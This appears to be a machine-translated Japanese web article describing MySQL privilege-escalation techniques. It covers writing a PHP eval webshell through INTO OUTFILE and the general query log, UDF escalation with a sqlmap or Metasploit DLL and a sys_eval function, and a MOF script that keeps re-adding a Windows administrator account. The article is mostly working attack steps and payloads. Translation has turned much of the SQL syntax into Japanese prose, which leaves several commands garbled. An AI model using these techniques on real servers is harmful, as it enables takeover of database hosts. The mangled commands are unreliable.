MySQL 権限昇格のさまざまな形態の概要

MySQL 権限昇格のさまざまな形態の概要

1. Webshel​​lを書く

出力ファイルにシェルを書き込む

前提条件:

1. ウェブサイトの物理的なパスを知る

2. 高い権限を持つデータベースユーザー

3. load_file() が有効になっている、つまり secure_file_priv は無制限である

4. ウェブサイトのパスに書き込み権限がある

まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。

'%secure_file_priv%' のようなグローバル変数を表示します。 

価値例示する
NULL輸入も輸出も禁止
/varインポートとエクスポートは/varディレクトリでのみ許可されます
ヌル無制限のディレクトリ

MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。

MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。

上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。

'<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 

ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。

上部包丁接続部

ログファイル書き込みシェル

前提条件:

1. Webフォルダの緩い権限が書き込まれる可能性がある

2. ウィンドウ

3. MySQLまたはApacheを高い権限で実行する

MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。

ログディレクトリを表示する

'general%' のような変数を表示します。 

general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。
ログ ファイルをカスタマイズして、ログ ファイルにコンテンツを書き込むと、getshell を正常に実行できます。

ログファイルの場所の変更

グローバル general_log を "ON" に設定します。
グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。

現在のログ構成を表示する

ターゲットディレクトリを確認し、log.phpファイルを書き込みます

シェルに書き込む

'<?php @eval($_POST[cmd]); ?>' を選択します

包丁で接続する


2. UDF 権限昇格

カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。

ダイナミック リンク ライブラリ

MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。

では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。

sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所

sqlmap ルートディレクトリ/data/udf/mysql

ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。

デコード方法は次のとおりです。

32 ビット Windows ダイナミック リンク ライブラリのデコード:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です

または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する

Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所

次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。

'%plugin%' のような変数を表示する


ダイナミックリンクライブラリの書き込み

secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。

load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。

c

カスタム関数を作成し、コマンドを呼び出す

カスタム関数の作成

CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 

sys_evalが追加されているかどうかを確認する

次に、作成された関数を通じてシステム コマンドを実行できます。

カスタム関数の削除

関数 sys_eval を削除します。

3. MOF 権限昇格

Mof 権限昇格原則

mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。

厳格な前提条件:

1. Windows 03以下

2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。

3. secure-file-privパラメータがnullではない

権限昇格プロセス:

MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。

エクスプロイト コードは次のとおりです (test.mof):

#pragma namespace("\\\\.\\root\\subscription")
__EventFilter のインスタンスを $EventFilter として
{
イベント名前空間 = "Root\\Cimv2";
名前 = "filtP2";
クエリ = "Select * From __InstanceModificationEvent"
「TargetInstance は \"Win32_LocalTime\" です」
「そして TargetInstance.Second = 5」;
クエリ言語 = "WQL";
};
ActiveScriptEventConsumer のインスタンスを $Consumer として
{
名前 = "consPCSV2";
スクリプトエンジン = "JScript";
スクリプトテキスト =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
__FilterToConsumerBinding のインスタンス
{
消費者 = $Consumer;
フィルター = $EventFilter;
};

MOF ファイルの使用率:

上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。

ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。

load_file("C:/soft/test.mof") をダンプファイル "c:/windows/system32/wbem/mof/nullevt.mof" に選択します。

権限昇格を確認します。

mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。

MOF権限昇格のデメリットについて

権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか?

cmd で次のステートメントを実行します。

#winmgmt サービスを停止します net stop winmgmt

#リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\

# mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 作成したユーザーを削除する net user hpdoger /delete

#サービスを再起動しますnet start winmgmt

要約する

これで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux は UDF ライブラリを使用して MySQL 権限昇格を実現します
  • MySQL 権限昇格方法
  • MySQL の名の下に権限を昇格する

<<:  モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します

>>:  div を下から上にスライドさせる CSS3 の例

推薦する

MySQL 8の新機能である降順インデックスの基礎となる実装の詳細な説明

降順インデックスとは何ですか?インデックスについてはよくご存知かもしれませんが、降順インデックスにつ...

Mybatis マッパー動的プロキシの原理の分析

序文動的プロキシの原理を説明する前に、まず、mybatis を統合した後の dao 層の 2 つの実...

HTML の水平および垂直中央揃えの問題の概要

最近、センタリングの問題に数多く遭遇したので、後で簡単に見つけられるように、時間をかけてそれらを要約...

HTML テーブルタグチュートリアル (8): 背景画像属性 BACKGROUND

テーブルの背景画像を設定します。任意の GIF または JPEG 画像ファイルを使用できます。基本的...

Dockerコンテナのネットワークポート設定プロセスの詳細な説明

ネットワークポートの公開実際、Docker にはネットワーク ポートの公開に関わる 2 つのパラメー...

Webpackプラグインを書いてnpmに公開するための80行のコード

1. はじめに最近、 Webpackの原理を勉強しています。これまでは Webpack の設定方法し...

Vueオプションの詳細な説明

目次1. オプションとは何ですか? 2. 含まれる属性3. エントリー属性エルデータ方法コンポーネン...

CSS プロパティ display:flow-root 宣言を 1 つの記事でマスターする

zhangxinxu より https://www.zhangxinxu.com/wordpress...

MySQL 5.7 をインストールした後にコマンドライン ウィンドウを開くとクラッシュする問題の解決方法

序文最近、MySQL 5.7 をインストールしましたが、問題が見つかりました。コマンド ライン ウィ...

表の最初の行と最初の列を固定し、適応型ウィンドウを実現するための CSS の例コード

今日のキャンパス採用筆記試験では、固定された最初の行と最初の列を実装し、幅をウィンドウの変更に適応さ...

Linux での fuser コマンドの使用法の詳細な説明

説明する: fuser は、現在ディスク上のファイル、マウント ポイント、さらにはネットワーク ポー...

Docker が MySQL イメージをプルするのが遅すぎる問題を解決する

Docker を使用して MySQL イメージをプルしようとして 30 分経っても失敗したため、代わ...

さまざまなSQL結合を簡単に学ぶ

SQL JOIN 句は、テーブル間の共通フィールドに基づいて 2 つ以上のテーブルの行を結合するため...

Docker execは複数のコマンドを実行します

docker exec コマンドは、実行中のコンテナ内でコマンドを実行できます。 docker ex...

IE6/7 で絶対配置された要素が不可解に消えたりブロックされたりする問題を解決する方法

1. 絶対配置レイヤーの隣接フローティング レイヤーの幅が親レイヤーの幅と等しくなく、フロートがクリ...